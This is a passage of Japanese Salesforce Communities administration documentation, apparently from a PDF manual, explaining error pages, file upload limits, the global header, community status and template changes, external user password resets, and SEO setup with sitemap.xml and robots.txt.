Visualforce エラーページをカスタマイズしている場合、認証済みのコミュニティ
ユーザにそれらのページを表示できます。
Visualforceエラーページの割り当てまたはカスタマイズを行うには、コミュニティ
ワークスペースまたは [コミュニティ管理]で [管理] > [ページ] をクリックし、
[Force.com に移動] をクリックします。[エラーページ] セクションには、現在の
ページの選択内容が表示されます。
[カスタムVisualforceエラーページを使用]を選択した場合、コミュニティにログ
インしたユーザにはカスタムVisualforceエラーページが表示されます。[カスタム
Visualforce エラーページを使用] を選択しない場合、コミュニティにログインし
たユーザにはデフォルトの Visualforce エラーページが表示されます。コミュニ
ティにログインしていないゲストユーザには、チェックボックスをオンにして
いるかどうかに関わらず、常にカスタム Visualforce エラーページが表示されま
す。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [個人設定] をクリックします。
3. [カスタム Visualforce エラーページを使用] を選択し、[保存] をクリックしま

す。

関連トピック:

Force.com Site エラーページの割り当て
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コミュニティのファイルの制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティでファイル
を制限する
• 「コミュニティの管

理」または「コミュニ
ティの作成および設
定」

および

コミュニティのメン
バーであること

コミュニティメンバーがアップロードできるファイルのサイズおよび種類を制
限します。このファイルの種類のホワイトリストにより、コミュニティメンバー
がアップロードできるファイルを制御でき、スパム送信者が不適切なファイル
でコミュニティを汚染することを防止できます。
コミュニティでファイルを制限する前に、組織でコミュニティファイルモデレー
ションを有効にする必要があります。コミュニティワークスペースまたは [コ
ミュニティ管理] にファイルを制限するオプションがない場合は、Salesforce にお
問い合わせください。
コミュニティファイル制限は、コミュニティのあらゆる場所 (投稿やコメント、
[ファイル] タブ、または Salesforce1) でコミュニティメンバーがアップロードした
ファイルに適用されます。SOAP APIまたはメタデータ APIを使用してコミュニティ
ファイル制限を設定することもできます。
ファイル制限を設定する前にアップロードされたファイルは影響を受けません。
ただし、それらのファイルの新しいバージョンは、指定した制限を満たしてい
る必要があります。
次の点に注意してください。
• ファイルは、コミュニティで設定したファイルのアップロード制限を満たし

ている必要があります。たとえば、顧客がケースのファイルをアップロード
した後に、エージェントが Salesforce 内部組織で新しいバージョンをアップ
ロードした場合、顧客のコミュニティの制限が引き続き適用されます。

• コミュニティで共有される内部Salesforce組織でアップロードされたファイル
の場合、コミュニティファイル制限は適用されません。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [個人設定] を選択し、ページの [ファイル] セクションに制限を入力します。

• 最大ファイルサイズ (MB)  — 3 MB から組織の最大ファイルサイズまでの数値を入力します。デフォルト
の制限である 2 GB を使用するには、この項目を空にしておくか、「0」と入力します。

• これらのファイルの種類のみを許可  — ファイル拡張子をカンマで区切って入力します (例: jpg,docx,txt)。
小文字および大文字を入力できます。1,000 文字まで入力できます。すべてのファイルの種類を許可する
には、この項目を空にしておきます。

3. [保存] をクリックします。
コミュニティのファイル制限を設定すると、ファイルが設定したサイズより大きいか、許可されていないファ
イル拡張子の場合にメンバーにエラーメッセージが表示されます。
メンバーが複数のファイルを同時にアップロードしようとしている場合、1 つのファイルが制限を満たしてい
ないと、すべてのファイルがアップロードされません。

関連トピック:

コミュニティ設定のカスタマイズ
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コミュニティのグローバルヘッダーの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

権限セットを作成する
• 「プロファイルと権限

セットの管理」

ユーザに権限セットを割
り当てる
• 「権限セットの割り当

て」

コミュニティが有効の場合は、グローバルヘッダーでコミュニティと内部組織
を簡単に切り替えることができます。
グローバルヘッダーを使用するには、コミュニティが組織で有効になっている
必要があります。

重要: グローバルヘッダーは、Salesforce Classic を使用している Salesforce 組織
でのみ表示できます。Lightning Experience を使用している Salesforce 組織では
グローバルヘッダーを使用できません。

すべての標準プロファイルでは、[グローバルヘッダーを参照] 権限はデフォルトで無効になっています。グ
ローバルヘッダーを参照するには、ユーザに「グローバルヘッダーを参照」権限を割り当てる必要がありま
す。そのためには、標準プロファイルでこの権限を選択するか、カスタムプロファイルを作成するか、権限
セットを作成します。この権限を特定のユーザに簡単に割り当てる権限セットを作成します。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セット] を選択します。
2. [新規] をクリックして、システム権限[グローバルヘッダーを参照]を含む権限セットを作成します。
3. 権限セットを適切なユーザに割り当てます。
この権限セットのあるユーザには、すべてのページの上部にグローバルヘッダーが表示されます。左側のメ
ニューを使用して、ユーザにアクセス権があるコミュニティと内部組織を切り替えることができます。
右側の あなたの名前 メニューには、連絡先情報の編集とログアウトを行うためのリンクが含まれています。
内部ユーザの場合には、[ヘルプ & トレーニング] へのリンクも含まれ、ユーザ権限および有効な機能に応じて
[設定] および他のツールへのリンクが含まれる場合もあります。

3917

コミュニティ設定の基礎Salesforce Communities の設定および管理



重要: グローバルヘッダーは、Lightning Experienceではサポートされていないため、グローバルヘッダーか
らコミュニティの作成、管理、またはアクセスを行うには、Salesforce Classicに切り替えます。組織でLightning

Experienceを使用している場合は、適切な権限を持つユーザがSalesforce Classicに戻してグローバルヘッダー
にアクセスする必要があります。

• 「コミュニティの管理」または「コミュニティの作成および設定」権限を持つユーザには、コミュニティ
ワークスペースまたは [コミュニティ管理] に切り替えるために使用できるギアアイコン ( ) が Salesforce タ
ブ + Visualforce コミュニティで表示されます。

メモ: コミュニティワークスペースまたは [コミュニティ管理]内では、ユーザに「グローバルヘッダー
の参照」権限がなくても、グローバルヘッダーと [コミュニティ管理] メニューが表示されます。ただ
し、内部組織とコミュニティを切り替える必要があるユーザには、引き続き「グローバルヘッダーの
参照」権限を割り当てることをお勧めします。

• Lightning コミュニティでは、「コミュニティの管理」または「コミュニティの作成および設定」権限を持
つユーザは、名前をクリックしてコミュニティワークスペースまたは [コミュニティ管理] に切り替えるこ
とができます。

関連トピック:

Salesforce からコミュニティへのアクセス
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コミュニティヘのリンクの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティのプレ
ビュー URL を共有する
• 「コミュニティの作成

および設定」

有効化する前に、コミュニティのプレビューをメンバーに許可することができ
ます。
プレビューコミュニティのリンクは、コミュニティメンバーとして追加された
ユーザとのみ共有できます。
[プレビュー] 状況のコミュニティへのリンクを共有すると、関係者のフィード
バックを簡単に収集できます。コミュニティは有効化した場合と同じように機
能するため、関係者はすべての機能を試してブランドおよびカスタマイズを確
認できます。また、メンバーが最初のログインから有効なコミュニティに入る
ようにするため、レコードを投稿、コメント、共有できる初期メンバーを活用
することもできます。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [設定] をクリックします。
3. ページに表示される URL をコピーし、関係者と共有します。

URL は、コミュニティのメンバーとして追加したユーザのみと共有できます。

関連トピック:

コミュニティのカスタマイズ
コミュニティの状況

コミュニティの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティを有効化して、コミュニティメンバーがアクセスできるようにし
ます。コミュニティの有効化による影響は、テンプレートによって異なります。
• Salesforce タブと Visualforce: コミュニティを有効化すると、コミュニティ URL

が有効になり、コミュニティメンバーのログインアクセスが有効になりま
す。有効化するときにお知らせメールが有効になっていると、すべてのメン
バーにお知らせメールが送信されます。新しいポータルユーザには、お知ら
せメールにユーザ名とパスワードが含まれます。

• Koa、Kokua、またはカスタマーサービス (Napili): コミュニティを有効化する
と、お知らせメールがすべてのコミュニティメンバーに送信され、サイトが
検索エンジン最適化サービスの Brombone™に登録されます。コミュニティ URL

を有効にし、コミュニティメンバーのログインアクセスを有効にするには、
コミュニティを公開します。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [設定] をクリックします。
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3. [コミュニティを有効化] をクリックします。

関連トピック:

コミュニティの状況
コミュニティのカスタマイズ
コミュニティの無効化

コミュニティの状況

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティには、次のいずれかの状況が有効です。

説明状況

コミュニティのカスタマイズが未完了で、コミュニティはこれまで
に有効化されていません。コミュニティを一度有効化すると、[プ
レビュー] 状況に戻すことはできません。
「コミュニティの作成および設定」権限を持つユーザは、プロファ
イルまたは権限セットがコミュニティに関連付けられていれば、
[プレビュー] 状況のコミュニティにアクセスできます。また、こ
れらのコミュニティへのリンクを、プロファイルまたは権限セット

プレ
ビュー

がコミュニティに関連付けられているユーザと共有することもでき
ます。[プレビュー] コミュニティを共有するためのリンクは、[コ
ミュニティ管理] ページにあります。コミュニティワークスペース
を使用している場合、[プレビュー] コミュニティを共有するため
のリンクは、[管理] にあります。
[お知らせメールを送信]が選択されていても、お知らせメールは送
信されません。

メモ: 支払期日までに料金が不払いであったため、組織から
Communitiesへのアクセスが中断されると、[プレビュー]状況
のものも含め、すべてのコミュニティが無効になります。コ
ミュニティを再度有効化すると、すべてのコミュニティは[無
効] 状況になります。これらのコミュニティは、有効化する
ことはできますが、[プレビュー] 状況に戻すことはできませ
ん。

コミュニティの状況が以前は[有効]でしたが、無効になりました。
次の操作が必要な場合は、コミュニティを無効化できます。

無効

• メンバーの追加または削除
• タブの追加、削除、または順序変更
• 配色の変更
• コミュニティ URL の変更
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説明状況

コミュニティを無効化すると、ドロップダウンメニューに表示されなくなります。「コミュ
ニティの作成および設定」権限を持つユーザは、メンバーシップに関係なく、[無効]コミュ
ニティの設定に引き続きアクセスできます。メンバーがダイレクトリンクを使用して [無効]

コミュニティにアクセスしようとすると、エラーページが表示されます。

コミュニティが有効で、メンバーが使用できる場合。
[お知らせメールを送信] が選択されていると、お知らせメールが新しいメンバーに送信され
ます。

有効

関連トピック:

コミュニティのカスタマイズ
コミュニティの有効化
コミュニティの無効化
コミュニティヘのリンクの共有

コミュニティ設定の更新

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

コミュニティの名前、説明、URL、コミュニティの状況、コミュニティテンプ
レートをすべて 1 箇所で管理します。
コミュニティ名と URL はコミュニティを有効にした後に変更できますが、ユー
ザは新しい URL にリダイレクトされません。このような変更が必要な場合は、
変更する前にコミュニティメンバーに通知してください。
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [設定] をクリックします。
3. 必要に応じてコミュニティ設定を編集します。

• コミュニティ名の横にある をクリックして、コミュニティの名前、
説明、URLを編集する

• コミュニティの状況を管理する
• コミュニティテンプレートを変更する

関連トピック:

コミュニティテンプレートの変更
コミュニティの状況
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コミュニティの無効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

次の操作が必要な場合は、コミュニティを無効化できます。
• メンバーの追加または削除
• タブの追加、削除、または順序変更
• 配色の変更
• コミュニティ URL の変更
1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [設定] をクリックします。
3. [無効化] をクリックします。

コミュニティが、無効でオフラインになります。
コミュニティが無効になっても、メンバーはメニューでコミュニティを参照
できますが、「コミュニティの作成および設定」権限がないとアクセスでき
ません。

関連トピック:

コミュニティの状況
コミュニティの有効化
コミュニティのカスタマイズ

コミュニティテンプレートの変更

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」

および

コミュニティのメン
バーであること

Salesforce タブと Visualforce テンプレートを使用している場合、コミュニティビル
ダーでテンプレートを Koa、Kokua、またはカスタマーサービス (Napili)テンプレー
トに変更できます。

メモ:  Winter '17 以降、テンプレートの変更機能は、Koa、Kokua、およびカス
タマーサービス (Napili) テンプレートを使用するコミュニティではサポート
されなくなります。これらのテンプレートで機能は引き続き使用できます
が、代わりに新しいコミュニティで最初から始めることをお勧めします。
テンプレートを Koa、Kokua、またはカスタマーサービス (Napili) から別の種
類のテンプレートに変更する場合、問題が発生しても Salesforce カスタマー
サポートはサポートできません。

重要: テンプレートを変更すると、データは失われませんが、一部のカス
タマイズは失われます。テンプレートを変更する前に、必ず「コミュニティ
テンプレートの変更に関する考慮事項」を確認してください。

1. コミュニティワークスペースまたは [コミュニティ管理] を開きます。
2. [管理] > [設定] をクリックします。
3. [テンプレートを変更] をクリックします。
4. 切り替え先のテンプレートを選択します。
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5. プロンプトが表示されたら、[テンプレートを変更] を選択して変更を確認します。
テンプレートの変更後、コミュニティワークスペースまたは [コミュニティ管理] に戻ります。
ログインページやコミュニティホームページなどのコミュニティページが、更新されたコミュニティテンプ
レートでも最適であることを確認します。たとえば、Salesforce タブと Visualforce テンプレートからカスタマー
サービス (Napili) テンプレートに切り替える場合は、Visualforce ページの代わりにコミュニティビルダーページ
を使用するようにページを更新します。必要に応じて、コミュニティビルダーでコミュニティをカスタマイズ
し、加えた変更を公開します。
Kokua、Koa、およびカスタマーサービス (Napili) テンプレートの使用についての詳細は、「テンプレートを使用
したコミュニティの作成」を参照してください。
Aloha テンプレートの使用についての詳細は、「Salesforce Identity の Aloha コミュニティテンプレートの使用開始」
を参照してください。

コミュニティテンプレートの変更に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティテンプレートの変更は、コミュニティのナビゲーション、ブラン
ド設定、カスタマイズに影響します。

メモ:  Winter '17 以降、テンプレートの変更機能は、Koa、Kokua、およびカス
タマーサービス (Napili) テンプレートを使用するコミュニティではサポート
されなくなります。これらのテンプレートで機能は引き続き使用できます
が、代わりに新しいコミュニティで最初から始めることをお勧めします。
テンプレートを Koa、Kokua、またはカスタマーサービス (Napili) から別の種
類のテンプレートに変更する場合、問題が発生しても Salesforce カスタマー
サポートはサポートできません。

• テンプレートを変更すると、Salesforce オブジェクトデータは継承されます
が、一部のブランド設定とコンポーネントカスタマイズは継承されません。必要に応じてカスタマイズを
やり直す準備をしてください。

• コミュニティテンプレートを変更すると、コミュニティワークスペースまたは [コミュニティ管理] のナビ
ゲーションオプションが更新されます。選択したテンプレートに関わらず使用可能なすべてのナビゲーショ
ンオプションを表示するには、[管理個人設定] > [コミュニティワークスペースまたはコミュニティ管理の
すべての設定を表示] を選択します。

• Salesforce タブと Visualforce テンプレートから他の種類のテンプレートに切り替えた場合、コミュニティ URL

が変更されます。具体的には、/s がコミュニティ URL に追加されます。コミュニティへのすべてのリンク
を、更新された URL に更新してください。

• 有効なコミュニティの場合
– Koa、Kokua、またはカスタマーサービス (Napili) テンプレートに切り替えると、テンプレートの変更はド

ラフトバージョンで保存されます。コミュニティビルダーでコミュニティをさらにカスタマイズするに
は、このドラフトバージョンを使用します。コミュニティは、変更を公開した後にのみ更新されます。

– Salesforce タブと Visualforce テンプレートに他のテンプレートから切り替えると、変更はすぐに有効なコ
ミュニティに反映されます。この場合、テンプレートを変更する前にコミュニティを無効化することを
お勧めします。すべての変更を加えたら、コミュニティを再有効化します。

– テンプレートが [なし] としてリストされている場合、事前定義されたテンプレートを使用していない
か、いずれかのテンプレートの変更されたバージョンを使用していることを示します。
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Kokua、Koa、およびカスタマーサービス (Napili) テンプレートの使用についての詳細は、「テンプレートを使用
したコミュニティの作成」を参照してください。
Aloha テンプレートの使用についての詳細は、「Salesforce Identity の Aloha コミュニティテンプレートの使用開始」
を参照してください。

コミュニティユーザの管理

コミュニティの外部ユーザのパスワードのリセット
外部ユーザのパスワードは、コミュニティをホストしている組織のユーザまたはシステム管理者がリセットで
きます。
いずれの場合も、外部ユーザのパスワードのリセットを開始すると、パスワードをリセットするためのリンク
を含むメールがそのユーザに送信されます。ユーザによって開始されたパスワードのリセットリンクは、24 時
間で期限切れになります。システム管理者によって開始されたパスワードのリセットのリンクには、有効期限
がありません。ユーザがリンクをクリックすると、処理を続行する前にパスワードのリセットが求められま
す。
ユーザが開始したパスワードのリセット要求を処理できない場合は、その理由を示すメールがユーザに送信さ
れます。ログインの試行に失敗した回数が多すぎたためユーザのアカウントが一時的または永久にロックされ
ている場合、またはリセット要求が承認されたログイン時間、IP 範囲、ネットワーク場所以外で送信された場
合は、パスワードのリセット要求は失敗します。

関連トピック:

コミュニティユーザの作成
外部コミュニティメンバーがログイン情報を取得する方法は?

外部コミュニティメンバーがログイン情報を取得する方法は?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

外部ユーザは、コミュニティからのお知らせメールでログイン情報を取得しま
す。
取引先責任者をカスタマーユーザまたはパートナーユーザとして有効化しても、
お知らせメールが有効になっているコミュニティに追加するまでログイン情報
は送信されません。コミュニティでお知らせメールが無効になっている場合、
ログイン情報は外部ユーザに送信されないため、手動で送信する必要がありま
す。そのためには、[設定] から [クイック検索]ボックスに「ユーザ」と入力し、
[ユーザ] を選択し、ユーザ名の横にあるチェックボックスをオンにして、[パス
ワードのリセット]をクリックします。ユーザ名と、パスワードをリセットする
ためのリンクが記載されたメールがユーザに送信されます。このメールのリン
クの有効期限が切れることはありません。

関連トピック:

コミュニティユーザの作成
コミュニティの外部ユーザのパスワードのリセット
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コミュニティの検索エンジン最適化 (SEO) の設定
Google™やBing®などの検索エンジンを利用して、コミュニティにインデックスを付けると、顧客やパートナー、
ゲストユーザがオンライン検索でコミュニティページを見つけやすくなります。SEO により、公開コミュニ
ティの検索にヒットする可能性が大幅に向上します。

使用可能なエディション: Salesforce Classic

使用可能なエディション: Enterprise Edition、Performance Edition、および Unlimited Edition

メモ:  Koa、Kokua、およびカスタマーサービス (Napili) テンプレートの場合、コミュニティを有効化すると
自動的に SEO サービスの Brombone™ に登録されます。

手動でコミュニティの SEO を設定するには、いくつかの標準ファイルと SEO プロパティについて理解しておく
必要があります。
sitemap.xml

sitemap.xmlには、コミュニティの URL のリストが含まれます。検索エンジンはこのリストを使用して、
クロールやインデックス付けに使用できるコミュニティのページを見つけます。sitemap.xml ファイル
は、コミュニティのルートレベルに自動的に生成されます。サイトマップを表示するには、
https://<community_URL>/s/sitemap.xml に移動します。
コミュニティで複数言語をサポートしている場合、サイトマップには自動的に各サポート言語のエントリ
が次のように含まれます。
<xhtml:link rel="alternate" hreflang="language_code"
href="page_URL?language=language_code" />

たとえば、<xhtml:link rel="alternate" hreflang="fr"

href="https://mycommunity.com/s/?language=fr" /> のようになります。
sitemap.xml ファイルをGoogle™ウェブマスターツールや Bing® Web マスターツールなどの検索エンジンに
直接送信して、これらの検索エンジンのユーザがコミュニティのコンテンツを見つけられるようにします。

robots.txt

robots.txtファイルは、包含および除外ルールを使用して、Web スパイダや Web ロボットにコミュニティ
のどの領域にインデックスを付けるかを通知します。この標準ファイルは Web 全体で SEO に使用されます。
このファイルにより、ユーザは、検索エンジンで何を検出可能かを詳細に制御できます。
robots.txtは、コミュニティがルートレベルで (URL 内のサブパスなしに) 存在する場合、自動的に生成さ
れます。ファイルを表示するには、https://<community_URL>/robots.txt に移動します。
自動生成されたファイルにより、コミュニティ全体にインデックスを付けることができます。ただし、情
報をホストするVisualforceページを作成することで、特定の領域のみのインデックスを許可することもでき
ます。

ページタイトルと説明プロパティ
ページ <head> の title および description タグは、検索結果ページに表示されるリンクタイトルと説
明を表すため、SEO にとって重要です。
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コミュニティビルダーのページマネージャ領域で、コミュニティの標準ページのタイトルと説明をカスタ
マイズできます。ただし、[記事の詳細] ページや [トピックの詳細] ページなど、ページによってはこれらの
プロパティをページのコンポーネントに従って動的に設定します。たとえば、[記事の詳細] ページの場合、
タイトルと説明の値は、それぞれ記事のタイトルと概要に従って更新されます。

コミュニティのカスタム Robots.txt ファイルの作成
robots.txtファイルは、包含および除外ルールを使用して、Web スパイダや Web ロボットにコミュニティ
のどの領域にインデックスを付けるかを通知します。コミュニティの特定の領域にのみインデックスを付
けられるようにするには、この情報をホストするVisualforceページを作成します。ルールを指定すると、検
索エンジンがこのファイルを使用して、コミュニティのページにインデックスを付けます。
コミュニティで SEO を使用する場合のベストプラクティス
コミュニティで SEO を使用する場合は、次のガイドラインおよびベストプラクティスに従ってください。
FAQ - コミュニティの SEO

コミュニティでの SEO の使用に関する一般的な質問に回答します。

関連トピック:

コミュニティビルダーでのページ種別とプロパティ

コミュニティのカスタム Robots.txt ファイルの作成

ユーザ権限

コミュニティのVisualforce
ページおよび robots.txt
ファイルを作成する
• 「コミュニティの作成

および設定」

robots.txt ファイルは、包含および除外ルールを使用して、Web スパイダや
Web ロボットにコミュニティのどの領域にインデックスを付けるかを通知しま
す。コミュニティの特定の領域にのみインデックスを付けられるようにするに
は、この情報をホストする Visualforce ページを作成します。ルールを指定する
と、検索エンジンがこのファイルを使用して、コミュニティのページにインデッ
クスを付けます。

使用可能なエディション: Salesforce Classic

使用可能なエディション: Enterprise Edition、Performance Edition、およびUnlimited
Edition

カスタム robots.txt ファイルには、自動生成されたサイトマップへのパスが含まれている必要があります
(https://<community_URL>/s/sitemap.xmlなど)。robots.txtは、コミュニティのルートレベルに配置
されます。
コミュニティのインデックス付けルールが指定された Visualforce ページの例を次に示します。
<apex:page contentType="text/plain">
User-agent: *
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Disallow: / # hides everything from ALL bots
Allow: /<path-prefix-1>/s # add path you want to open to bots
Allow: /<path-prefix-2>/s # add path you want to open to bots
Sitemap: http://<community_URL>/s/sitemap.xml
Sitemap: http://<community_URL>/<sub_path>/s/sitemap.xml
</apex:page>

メモ: コミュニティが複数あり、それぞれに各種のサブパスが設定されている場合があります。すべての
コミュニティが同じファイルを共有するため、インデックス付けルールがすべてのコミュニティのペー
ジを対象にするようにします。robots.txt 情報を含むVisualforceページは、サブパス名が 1 つも設定されてい
ないコミュニティ内 (のルートレベル) に配置する必要があります。

カスタム robots.txt ファイルを作成および使用する手順は、次のとおりです。
1. 検索エンジンに公開または非公開にするコミュニティのさまざまな領域に対する包含および除外ルールの

リストを作成します。この情報をテキストファイルに保存します。
2. [設定] から、[クイック検索]ボックスに「Visualforce ページ」と入力し、[Visualforceページ]を選択し、

[新規] をクリックして、新しい Visualforce ページを作成します。このページに任意の名前 (robots など) を
付けます。

3. インデックス付けルールのリストをVisualforceページに貼り付けます。最終的な内容は上記の例のようにな
ります。必要に応じてルールを増やします。

4. [保存] をクリックします。
5. コミュニティワークスペースまたは [コミュニティ管理] から、[管理] > [ページ] をクリックし、[Force.com

に移動] をクリックします。次に、[サイトの詳細] ページで [編集] をクリックします。
6.

[Site Robots.txt] 項目で、作成した Visualforce ページの名前を入力するか、 をクリックしてファイルを検
索します。

7. [保存] をクリックします。
8. 必要に応じて、sitemap.xml ファイルを直接検索エンジンに送信します。たとえば、このファイルを

Google™ウェブマスターツールやBing® Web マスターツールに送信して、これらの検索エンジンのユーザがコ
ミュニティのコンテンツを見つけられるようにします。

robots.txt ファイルがロボットやスパイダで使用できることを確認するには、
https://<community_URL>/robots.txt に移動します。同様に、サイトマップを表示するには、
https://<community_URL>/s/sitemap.xml に移動します。

関連トピック:

コミュニティの検索エンジン最適化 (SEO) の設定
コミュニティで SEO を使用する場合のベストプラクティス

コミュニティで SEO を使用する場合のベストプラクティス
コミュニティで SEO を使用する場合は、次のガイドラインおよびベストプラクティスに従ってください。

使用可能なエディション: Salesforce Classic
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使用可能なエディション: Enterprise Edition、Performance Edition、および Unlimited Edition

• カスタムサイトマップは作成せず、自動生成された sitemap.xml ファイルを使用してください。
• カスタム robots.txt ファイルを作成する場合、そのファイルが自動生成されたサイトマップ

(http://<community_URL>/s/sitemap.xml など) を参照するようにしてください。
• 組織でマルチ言語のナレッジ記事をサポートしている場合、翻訳記事の URL を言語固有の URL に置き換え

ないことをお勧めします。代わりに、同じ URL を基本言語記事として保持します。
コミュニティで複数言語をサポートしている場合、サイトマップには自動的に各サポート言語のエントリ
が次のように含まれます。
<xhtml:link rel="alternate" hreflang="language_code"
href="page_URL?language=language_code" />

• ページマネージャで、各ページの [タイトル] 項目と [説明] 項目を適宜わかりやすい内容にします。ページ
タイトルは、ブラウザのタブまたはウィンドウ、検索エンジンの結果、ブックマークで使用されます。[説
明] 項目の内容は、そのページが探しているものかどうかをユーザがすばやく判断できるように、検索エン
ジンの結果に表示されます。

• sitemap.xml ファイルをクロール用に検索エンジンに送信する前に、認証されていないユーザとして
https://<community_URL>/s/sitemap.xml に移動します (Google Chrome のシークレットモードを使用
することをお勧めします)。サイトマップにリストされた URL がゲストユーザに適切であることを確認しま
す。
URL が誤ってゲストユーザが使用可能なリストに含まれている場合は、ゲストユーザプロファイルで正しい
権限が有効化され、組織が正しく設定されていることを確認します。たとえば、ケースの詳細の URL がサ
イトマップに含まれないようにするには、[設定] から [クイック検索] ボックスに 「共有設定」と入力しま
す。次に、[編集] をクリックして、ケースの [デフォルトの内部アクセス権] を「非公開」に設定します。

• HTTP 要求を HTTPS にリダイレクトするのは、SEO のベストプラクティスです。そのため、[サイトの詳細] で
[セキュアな接続 (HTTPS) が必要]設定を無効化しないことをお勧めします。チェックボックスが選択されて
いることを確認するには、[コミュニティ管理] で [管理] > [ページ] > [Force.com に移動] をクリックします。

• 301 リダイレクトは、ユーザと検索エンジンが正しいページに転送されるようにする優れた方法です。たと
えば、www.my_community.com のような URL の場合、my_community.com へのリダイレクトを作成する
ことをお勧めします。これらのリダイレクトを DNS プロバイダに設定できます。

関連トピック:

コミュニティの検索エンジン最適化 (SEO) の設定
コミュニティビルダーでのページ種別とプロパティ

FAQ - コミュニティの SEO

コミュニティでの SEO の使用に関する一般的な質問に回答します。

使用可能なエディション: Salesforce Classic

3928

コミュニティ設定の基礎Salesforce Communities の設定および管理



使用可能なエディション: Enterprise Edition、Performance Edition、および Unlimited Edition

sitemap.xml に他のサイトマップへの参照がある理由は?

自動生成された sitemap.xml ファイルは、他のサイトマップをリストするインデックスファイルです。
sitemap.xml には限られた数の URL しか収容できないため、コミュニティに多くのサイトマップ URL が含
まれる場合、複数のより小さいサイトマップファイルに分割されます。

サイトマップには、コミュニティテンプレートに付属する Salesforce オブジェクトページの URL は含まれます
か?

オブジェクトの詳細ページを作成し、ゲストユーザプロファイルでオブジェクトの「参照」権限を有効に
している場合、そのオブジェクトのページの URL はサイトマップに含まれます。

サイトマップには、自分で作成したカスタムオブジェクトページの URL は含まれますか?

オブジェクトの詳細ページを作成し、ゲストユーザプロファイルでオブジェクトの「参照」権限を有効に
している場合、その詳細ページの URL はサイトマップに含まれます。ただし、リストおよび関連リストペー
ジの URL は含まれません。

ケースの詳細の URL をサイトマップから除外し、検索エンジンの結果に表示されないようにする方法は?

ケースの詳細の URL がサイトマップに含まれないようにするには、[設定] から [クイック検索] ボックスに
「共有設定」と入力します。次に、[編集]をクリックして、ケースの [デフォルトの内部アクセス権] を「非
公開」に設定します。

https://<community_URL>/robots.txtに移動したとき、自動生成された robots.txtファイルが表示さ
れない理由は?

自動生成された robots.txt ファイルが表示されるためには、コミュニティがカスタム URL のルートレベ
ルにある必要があります。カスタム URL が設定されておらず、*.force.com ドメインを使用している場合、
robots.txtが表示されるためには、パスプレフィックスなしのコミュニティが存在する必要があります。

robots.txt の内容を上書きする方法は?

robots.txt を上書きするには、情報をホストする Visualforce ページを作成します。.

デフォルトのコミュニティ URL から /s/ を削除できますか?

いいえ、/s/ はデフォルトのコミュニティ URL で必須です。
カスタムバニティ URL を作成するための URL 書き換えはサポートされていますか?

いいえ、テンプレートベースのコミュニティで現在 URL 書き換えはサポートされていません。
各記事には独自の URL がありますか?

はい、[記事の詳細] ページに表示される各記事には独自の URL があります。これは、ナレッジ記事の [URL

名] 項目から取得されます。
組織でマルチ言語のナレッジ記事をサポートしている場合、翻訳記事の URL を言語固有の URL に置き換え
ないことをお勧めします。代わりに、同じ URL を基本言語記事として保持します。

SEO 目的で記事にタイトルと説明を追加できますか?

各ナレッジ記事には [URL 名]、[タイトル]、および [概要]項目があります。コミュニティビルダーの [記
事の詳細] ページに記事が表示されるとき、これらの項目はそれぞれ、ページ URL、ページ <head>の title

および description タグに使用されます。
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ページ <head> の title および description タグは、検索結果ページに表示されるリンクタイトルと説
明を表すため、SEO にとって重要です。

関連トピック:

コミュニティの検索エンジン最適化 (SEO) の設定

コミュニティの機能強化 (省略可能)

コミュニティのカスタムドメインの設定

ユーザ権限

ドメインを参照する
• 「設定・定義を参照す

る」

ドメインを追加する
• 「アプリケーションの

カスタマイズ」または
「設定・定義を参照す
る」と、Site.com
Publisher ライセンスま
たは「コミュニティの
作成および設定」のい
ずれか

ドメインを編集または削
除する
• 「アプリケーションの

カスタマイズ」

ドメインに証明書を関連
付ける
• コミュニティを使用し

ない場合は、Salesforce
にご連絡ください。コ
ミュニティを使用する
組織は証明書をドメイ
ンに関連付けることが
できます。

コミュニティの URL に会社のブランドが反映されるようにカスタムドメインを
設定します。

メモ: カスタムドメインは、Sandbox 以外のインスタンスでのみサポートさ
れます。カスタムドメインを Sandbox インスタンスで設定してから、本番イ
ンスタンスに移行することができますが、カスタムドメインは本番環境で
のみ有効です。

ドメインを追加するとき、接続のセキュリティのために証明書と鍵を添付する
こともできます。証明書を使用する場合、ドメインへの添付を試みる前に、[証
